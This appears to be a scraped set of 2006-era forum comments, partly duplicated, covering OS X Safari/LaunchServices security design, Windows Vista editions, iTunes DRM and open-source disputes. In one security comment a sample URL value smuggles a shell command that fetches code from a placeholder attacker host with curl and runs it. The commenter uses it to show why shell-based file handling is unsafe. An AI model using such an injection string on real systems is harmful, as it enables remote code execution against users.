Among the signs: two recently discovered worms and the discovery of a vulnerability in OS X that leaves Safari open to a hack.
The only worms I've seen announced for OS X so far have depended on social engineering attacks. Social engineering attacks are possible on any OS, because they work by convincing a user to do something. They're basically the same kind of "security hole" as the one the folks claiming to be an exiled dictator with a bundle of cash...
The central security hole* found is one that was discovered almost two years ago, and Apple has refused to fix. That security hole is the use of the desktop shell interface to run programs to display untrusted content. As I wrote at the time this is fundamentally insecure, and yet the native browsers and third party ones still do it.
This is the same kind of error as having a browser on UNIX run an external viewer for a link with code like this:
That would be a security hole you could drive a truck through, because you don't know what the shell is really going to do with whatever the URL contained. Maybe it looks like benign.pdf?";curl http ://badguy.xx/exploitcode>/tmp/...;sh/tmp/...".
Well, Safari doesn't really know what the shell (LaunchServices) or the app it calls is going to do, either. It's not quite as obviously bad as the above code, but it's subject to the same kinds of attacks. As has been shown multiple times already on both OS X and Windows.
What's safe?
Well, there's two options.
1. Safari can maintain its own database of safe applications to pass unsafe files to, and call them directly rather than through LaunchServices.
2. Apple can provide an alternate LaunchServices for unsafe content that ONLY contains applications that are explicitly designed for handling unsafe content, or alternatively add an option to LaunchServices saying that the content is unsafe so it can use an alternate database.
Here's some options that have been tried and don't work:
1. Maintain a list of file types and suffixes that you consider "safe", and only use LaunchServices to open these files (Safari and Firefox and IE do this).
2. Modify LaunchServices to try and figure out when an application is being launched on an "unsafe" document, and ask the user if they really want to do this (Apple's 'fix' for the original hole, which has already failed twice).
3. Maintain a list of locations that are "safe" and "unsafe", and only allow dangerous actions based on the location (Microsoft's Security Zones).
So far Apple's tried two of these, let's hope they don't try the third.
* Exacerbated by two other holes: making "Open Safe Files" the default, and considering archives to be "safe" files.
Right now you have the choice of the Classic Windows-2000 look, or the new Fisher-Price look. Since they're describing the Fisher-Price look as "Classic" now, does that mean the classic "Classic" look is gone?
This gives them the opportunity to not have to pay for a graphical interface they can't or don't want to use.
They're paying for it whether it's included or not, since it looks like just about everything else will be a service pack to XP anyway. Unless they get it with a new computer, but what are the odds any new computer will leave Vista out?
And what if I buy a new computer and it includes an OEM version of Vista... and I want to run in Windows-2000-classic mode. Can I get a rebate?
I have security requirements that Microsoft's HTML control can't meet. I've been wanting a version of Windows that doesn't need the HTML control for over 5 years now, so I don't have to worry about some third-party app resurrecting Internet Explorer by embedding the HTML control in a web browser again.
Steve Jobs would say "If they want to use Vista, then they'll just have to upgrade all thier hardware. If they don't want to do that, they they don't get Vista."
Apple's version of "Aero" is Aqua. Aqua was released with the first version of OS X on the G3 iMac.
You could actually run Mac OS X through 10.1 with Quartz and Aqua on a Powermac 7600/180, or any other PCI Powermac with a 603e or better processor, even with the native motherboard video and no graphics acceleration. You had to use a hack to get it to allow the install, but once it installed it worked. It was slow, yes, on the equivalent of a late model Pentium-I... but it had all the fancy GUI effects including smooth translucent windows and dock effects.
The latest version of OS X still runs on the G3 iMac... it's just slower (and to make up for that things like Dashboard and Exposé don't use all the features) because it's not making as good use of the GPU as later versions, but it does run with the hardware acceleration the ATI Rage chipset can manage.
Any PC that's comfortable running XP should be able to run any conceivable "Aqua-like" GUI... unless Microsoft did something really really stupid. And even then, there's no reason they couldn't simply let Aero enable itself when your hardware was up to it... there's no reason to have two versions and force software developers that want to take advantage of the new functionality to deal with two versions.
Apple hasn't released a retail version of Tiger, and Apple has frequently bundled versions targeted for the system they're bundled with... it usually turns out they're bootable on more than just that model, but it's not like a retail version.
If you count customized bundles as separate versions, there's thousands of versions of XP.
So really there's only two versions, Mac OS X and Mac OS X Server.
Has Apple stated that Leopard will be released in two versions or in a single "Universal" package?
So if I write an app that works for win2k, it'll stop working on Vista?
Could be. I've had some software for 4.0 and 3.51 stop working on later versions. 2000 to XP was better, mostly because XP was pretty much a dot release of 2000, but even then we had some programs that worked on 2000 go pear shaped, and we had to switch to a different product because the original vendor had been borged and wasn't updating one of their original competing product lines.
Also, if you write an app for Vista, it may not work on 2000 or XP.
But how many people still have a vinyl collection versus keeping their old collections of cassettes?
How many people even own a turntable any more?
By the time I had equipment that could rip music, my turntable was dead, I couldn't find one that wasn't priced like it was gold-plated, and I hadn't played my LPs in so long half of them had gone to the library.
I *was* able to rip some no-longer-available cassettes, though.
if they sell OSX in the same way Windows is sold, they will roughly have to match the pricing structure.
Why would you expect them to match Microsoft's pricing structure point for point, if they don't have to match Dell's pricing structure point for point now?
Not to mention that the reason Microsoft hasn't been selling updates is that Microsoft hasn't made any significant changes to the Windows NT product line since the release of Windows 2000. Microsoft's inability to get "Longhorn" out is a running joke in the industry.
Windows XP was the last upgrade at all similar to what you're referring to as "dot releases" of OS X, and that was mostly theme changes and bundling a stripped down version of Terminal Server with the desktop version. Most professionals I know who are running XP are doing so only because it came with a computer upgrade. They wouldn't have paid actual money to upgrade to XP from 2000, and it's really obvious that XP's a "tactical" release: putting an ugly new theme on Windows 2000 and releasing a crippled version as "Windows XP Home Edition" to replace Windows 98/Me let them force activation on the home market.
Meanwhile, they've been struggling to get their next "dot release" out for years and it's not expected until 2007.
Why on earth would Apple want to emulate *that* release structure? It's an embarassment.
It sucks. Have you tried it? The quality is horrible.
I've tried it and I can't tell the difference between the Audio CD and the original AAC file. Oh, wait, that's because THERE IS NO DIFFERENCE. It's lossless digital, you get the same waveform on the CD as you get going into the DACs in your soundcard.
Ripping it again? That depends on what format and quality you rip to. And I still can't tell the difference. But then I don't rip the CD to 64k WMA or something just to make it sound bad.
Not even analog... it's a digital hole. Audio CDs are digital, and lossless... the slight quality loss from burning and ripping a CD comes from the recompression step.
I thought "indie" was short for "independent", not "industry".
Live and learn.
---
If you want an explanation for why they're not taking advantage of a few people who don't demand DRM: using the same policy across all tracks is one of the levers they use against the folks in the industry that want to tighten the scres.
I wrote: I'm glad to hear that my prediction has not in fact come true...
It does in fact appear that there IS missing code in the x86 kernel.
Apple is entitled to withhold that code, just as they're entitled to switch to the x86 platform, and as I've previously noted the latter does tend to imply the former would happen.
I'm more concerned about what the missing kernel may contain to allow Apple to implement strong DRM in OS X intel, and possibly even allow Microsoft to port their strong DRM to OS X. Though Microsoft dropping Windows Media Player for Mac OS X makes that nasty scenario seem more remote... let's pray Microsoft doesn't wise up, bring it back using Apple's TPM support, and produce a genuinely universal and unfractured DRM for both Windows and Mac OS.
The first person in this thread to bring up the KHTML situation was you.
Beg pardon. You didn't bring it up, but you did jump at it like a trout at a fly.
That's pretty stamdard fair for an admission by a company that X was the wrong policy.
You didn't say it was an admission of "wrong policy". You said "unethical". And even "wrong policy" is too broad. An unpopular policy may be a wrong policy, or it may not be. For example, Apple's policy of having Safari use the normal desktop applications for opening files downloaded from the Internet is clearly popular and I have been flamed for suggesting they should change it (even though most people would never notice the change I've suggested). And yet it completely violates basic security parctices and has been responsible for multiple demonstrated exploits. It's the wrong policy, even if it's a popular one. Similarly, the way XPIs are installed in Firefox is wrong policy for similar reasons, and yet even after an exploit showed up the Mozilla folks haven't changed this wrong (but popular) policy.
If "unethical" is your only problem then yeah my case is weak there.
*snort*
my main point that the open source community by lobbying moved Apple from X to X'
I haven't said anything about whether it was a successful or a useful campaign, or whether the outcome was good. Clearly both of these things are true. I have only said that the people complaining that Apple's behaviour was "unethical" or even "outside the norms of the open source community" have an unrealistic view of the open source community, and are applying a different standard to Apple than to (say) Red Hat.
For example:
Safari's "report bugs to apple" database contains millions of reports of problems with websites the html/javascript.... That's a huge plus for KHTML development. They wanted access.
Red Hat Network has a huge database of applications and other packages, millions of lines of code and bug reports and updates, but you have to pay them thousands of dollars a year to get it... if your company's firewall will let you.
Not to mention that "the open source community" includes people who were, in the late '80s and early '90s, putting features into GCC deliberately to break other C compilers... which they did so successfully that both of the competing open-source compilers I know of are dead in the water, and the only effective C compilers outside the GCC monoculture are commercial. Even FreeBSD has long since given up trying to keep the kernel compatible with anything but GCC.
Caldera was obnoxious but basically was helpful to Linux.
Caldera is the company currently embroiled in a lawsuit with IBM and Novell over whether Linux should even exist!
Slashdot Mirror
Correct Link.
The only worms I've seen announced for OS X so far have depended on social engineering attacks. Social engineering attacks are possible on any OS, because they work by convincing a user to do something. They're basically the same kind of "security hole" as the one the folks claiming to be an exiled dictator with a bundle of cash...
The central security hole* found is one that was discovered almost two years ago, and Apple has refused to fix. That security hole is the use of the desktop shell interface to run programs to display untrusted content. As I wrote at the time this is fundamentally insecure, and yet the native browsers and third party ones still do it.
This is the same kind of error as having a browser on UNIX run an external viewer for a link with code like this:That would be a security hole you could drive a truck through, because you don't know what the shell is really going to do with whatever the URL contained. Maybe it looks like benign.pdf?";curl http :
Well, Safari doesn't really know what the shell (LaunchServices) or the app it calls is going to do, either. It's not quite as obviously bad as the above code, but it's subject to the same kinds of attacks. As has been shown multiple times already on both OS X and Windows.
What's safe?
Well, there's two options.
1. Safari can maintain its own database of safe applications to pass unsafe files to, and call them directly rather than through LaunchServices.
2. Apple can provide an alternate LaunchServices for unsafe content that ONLY contains applications that are explicitly designed for handling unsafe content, or alternatively add an option to LaunchServices saying that the content is unsafe so it can use an alternate database.
Here's some options that have been tried and don't work:
1. Maintain a list of file types and suffixes that you consider "safe", and only use LaunchServices to open these files (Safari and Firefox and IE do this).
2. Modify LaunchServices to try and figure out when an application is being launched on an "unsafe" document, and ask the user if they really want to do this (Apple's 'fix' for the original hole, which has already failed twice).
3. Maintain a list of locations that are "safe" and "unsafe", and only allow dangerous actions based on the location (Microsoft's Security Zones).
So far Apple's tried two of these, let's hope they don't try the third.
* Exacerbated by two other holes: making "Open Safe Files" the default, and considering archives to be "safe" files.
Right now you have the choice of the Classic Windows-2000 look, or the new Fisher-Price look. Since they're describing the Fisher-Price look as "Classic" now, does that mean the classic "Classic" look is gone?
This gives them the opportunity to not have to pay for a graphical interface they can't or don't want to use.
They're paying for it whether it's included or not, since it looks like just about everything else will be a service pack to XP anyway. Unless they get it with a new computer, but what are the odds any new computer will leave Vista out?
And what if I buy a new computer and it includes an OEM version of Vista... and I want to run in Windows-2000-classic mode. Can I get a rebate?
I have security requirements that Microsoft's HTML control can't meet. I've been wanting a version of Windows that doesn't need the HTML control for over 5 years now, so I don't have to worry about some third-party app resurrecting Internet Explorer by embedding the HTML control in a web browser again.
For "deliberately crappier interface" read "basically XP's interface".
And your point is...?
Steve Jobs would say "If they want to use Vista, then they'll just have to upgrade all thier hardware. If they don't want to do that, they they don't get Vista."
Apple's version of "Aero" is Aqua. Aqua was released with the first version of OS X on the G3 iMac.
You could actually run Mac OS X through 10.1 with Quartz and Aqua on a Powermac 7600/180, or any other PCI Powermac with a 603e or better processor, even with the native motherboard video and no graphics acceleration. You had to use a hack to get it to allow the install, but once it installed it worked. It was slow, yes, on the equivalent of a late model Pentium-I... but it had all the fancy GUI effects including smooth translucent windows and dock effects.
The latest version of OS X still runs on the G3 iMac... it's just slower (and to make up for that things like Dashboard and Exposé don't use all the features) because it's not making as good use of the GPU as later versions, but it does run with the hardware acceleration the ATI Rage chipset can manage.
Any PC that's comfortable running XP should be able to run any conceivable "Aqua-like" GUI... unless Microsoft did something really really stupid. And even then, there's no reason they couldn't simply let Aero enable itself when your hardware was up to it... there's no reason to have two versions and force software developers that want to take advantage of the new functionality to deal with two versions.
Vista Home Premium includes everything in the Basic version and adds the new graphical interface called Aero.
Either they misunderstood and misquoted their source, or Microsoft has finally gone off the deep end.
I wrote: "Apple hasn't released a retail version of Tiger".
I meant to write: "Apple hasn't released a retail version of Tiger for Intel".
I even previewed it and I still missed that.
Apple hasn't released a retail version of Tiger, and Apple has frequently bundled versions targeted for the system they're bundled with... it usually turns out they're bootable on more than just that model, but it's not like a retail version.
If you count customized bundles as separate versions, there's thousands of versions of XP.
So really there's only two versions, Mac OS X and Mac OS X Server.
Has Apple stated that Leopard will be released in two versions or in a single "Universal" package?
So if I write an app that works for win2k, it'll stop working on Vista?
Could be. I've had some software for 4.0 and 3.51 stop working on later versions. 2000 to XP was better, mostly because XP was pretty much a dot release of 2000, but even then we had some programs that worked on 2000 go pear shaped, and we had to switch to a different product because the original vendor had been borged and wasn't updating one of their original competing product lines.
Also, if you write an app for Vista, it may not work on 2000 or XP.
I need a version of Windows without the HTML control so I don't have to worry about some third party app bringing Internet Explorer back to life.
Can you do that?
"Sure, Bob, that's the Windows Vista Crippled Edition."
But, Doctor Evil, that already happened.
But how many people still have a vinyl collection versus keeping their old collections of cassettes?
How many people even own a turntable any more?
By the time I had equipment that could rip music, my turntable was dead, I couldn't find one that wasn't priced like it was gold-plated, and I hadn't played my LPs in so long half of them had gone to the library.
I *was* able to rip some no-longer-available cassettes, though.
my favorite band comes up with an awesome album of typical length, say 15 songs. I want them all.
Then buy the CD.
More often, I just want one. So I buy one. If I like it, I buy the CD. Or not.
If I don't like it, I'm only out $1.
I may have bought more CDs since I started buying from iTMS than the same period before.
Something else the Industry doesn't account for in their market share, I suspect.
I can assure you that the ITMS tracks are not lossless.
I didn't say they were.
I said that CD Audio is uncompressed lossless digital.
So what's on the CD suffers no *further* degradation.
So you can re-rip it without losing quality, if you want, by not compressing it lossily.
if they sell OSX in the same way Windows is sold, they will roughly have to match the pricing structure.
Why would you expect them to match Microsoft's pricing structure point for point, if they don't have to match Dell's pricing structure point for point now?
Not to mention that the reason Microsoft hasn't been selling updates is that Microsoft hasn't made any significant changes to the Windows NT product line since the release of Windows 2000. Microsoft's inability to get "Longhorn" out is a running joke in the industry.
Windows XP was the last upgrade at all similar to what you're referring to as "dot releases" of OS X, and that was mostly theme changes and bundling a stripped down version of Terminal Server with the desktop version. Most professionals I know who are running XP are doing so only because it came with a computer upgrade. They wouldn't have paid actual money to upgrade to XP from 2000, and it's really obvious that XP's a "tactical" release: putting an ugly new theme on Windows 2000 and releasing a crippled version as "Windows XP Home Edition" to replace Windows 98/Me let them force activation on the home market.
Meanwhile, they've been struggling to get their next "dot release" out for years and it's not expected until 2007.
Why on earth would Apple want to emulate *that* release structure? It's an embarassment.
It sucks. Have you tried it? The quality is horrible.
I've tried it and I can't tell the difference between the Audio CD and the original AAC file. Oh, wait, that's because THERE IS NO DIFFERENCE. It's lossless digital, you get the same waveform on the CD as you get going into the DACs in your soundcard.
Ripping it again? That depends on what format and quality you rip to. And I still can't tell the difference. But then I don't rip the CD to 64k WMA or something just to make it sound bad.
a built-in, officially approved analog hole
Not even analog... it's a digital hole. Audio CDs are digital, and lossless... the slight quality loss from burning and ripping a CD comes from the recompression step.
Everything about iTunes Music Store is completely 100% approved by the RIAA.
Do you know the word "compromise" really is still in the dictionary?
I thought "indie" was short for "independent", not "industry".
Live and learn.
---
If you want an explanation for why they're not taking advantage of a few people who don't demand DRM: using the same policy across all tracks is one of the levers they use against the folks in the industry that want to tighten the scres.
The DRM is exactly what the Music Industry specified.
They really specified these obvious holes?
iTMS sends you the song unencrypted (hole one).
iTunes encrypts it and stores it on disk.
iTunes lets you burn the music to CD at full AAC quality (hole two).
iTunes happily rips a CD in AAC or MP3 format.
You don't even have to go down to the analog hole level to get your music out of iTunes format.
Not only that, but Apple recommends making Audio CD backups of your music.
AND they ran an ad campaign that told you all you needed to know about removing the DRM from your iTunes music.
Man, I wish we could mod articles.
If it's a mistake you shouldn't have any problem finding the x86 xnu source tree for 10.4.5 on opensource.apple.com.
I wrote: I'm glad to hear that my prediction has not in fact come true...
It does in fact appear that there IS missing code in the x86 kernel.
Apple is entitled to withhold that code, just as they're entitled to switch to the x86 platform, and as I've previously noted the latter does tend to imply the former would happen.
I'm more concerned about what the missing kernel may contain to allow Apple to implement strong DRM in OS X intel, and possibly even allow Microsoft to port their strong DRM to OS X. Though Microsoft dropping Windows Media Player for Mac OS X makes that nasty scenario seem more remote... let's pray Microsoft doesn't wise up, bring it back using Apple's TPM support, and produce a genuinely universal and unfractured DRM for both Windows and Mac OS.
The first person in this thread to bring up the KHTML situation was you.
Beg pardon. You didn't bring it up, but you did jump at it like a trout at a fly.
That's pretty stamdard fair for an admission by a company that X was the wrong policy.
You didn't say it was an admission of "wrong policy". You said "unethical". And even "wrong policy" is too broad. An unpopular policy may be a wrong policy, or it may not be. For example, Apple's policy of having Safari use the normal desktop applications for opening files downloaded from the Internet is clearly popular and I have been flamed for suggesting they should change it (even though most people would never notice the change I've suggested). And yet it completely violates basic security parctices and has been responsible for multiple demonstrated exploits. It's the wrong policy, even if it's a popular one. Similarly, the way XPIs are installed in Firefox is wrong policy for similar reasons, and yet even after an exploit showed up the Mozilla folks haven't changed this wrong (but popular) policy.
If "unethical" is your only problem then yeah my case is weak there.
*snort*
my main point that the open source community by lobbying moved Apple from X to X'
I haven't said anything about whether it was a successful or a useful campaign, or whether the outcome was good. Clearly both of these things are true. I have only said that the people complaining that Apple's behaviour was "unethical" or even "outside the norms of the open source community" have an unrealistic view of the open source community, and are applying a different standard to Apple than to (say) Red Hat.
For example:
Safari's "report bugs to apple" database contains millions of reports of problems with websites the html/javascript.... That's a huge plus for KHTML development. They wanted access.
Red Hat Network has a huge database of applications and other packages, millions of lines of code and bug reports and updates, but you have to pay them thousands of dollars a year to get it... if your company's firewall will let you.
Not to mention that "the open source community" includes people who were, in the late '80s and early '90s, putting features into GCC deliberately to break other C compilers... which they did so successfully that both of the competing open-source compilers I know of are dead in the water, and the only effective C compilers outside the GCC monoculture are commercial. Even FreeBSD has long since given up trying to keep the kernel compatible with anything but GCC.
Caldera was obnoxious but basically was helpful to Linux.
Caldera is the company currently embroiled in a lawsuit with IBM and Novell over whether Linux should even exist!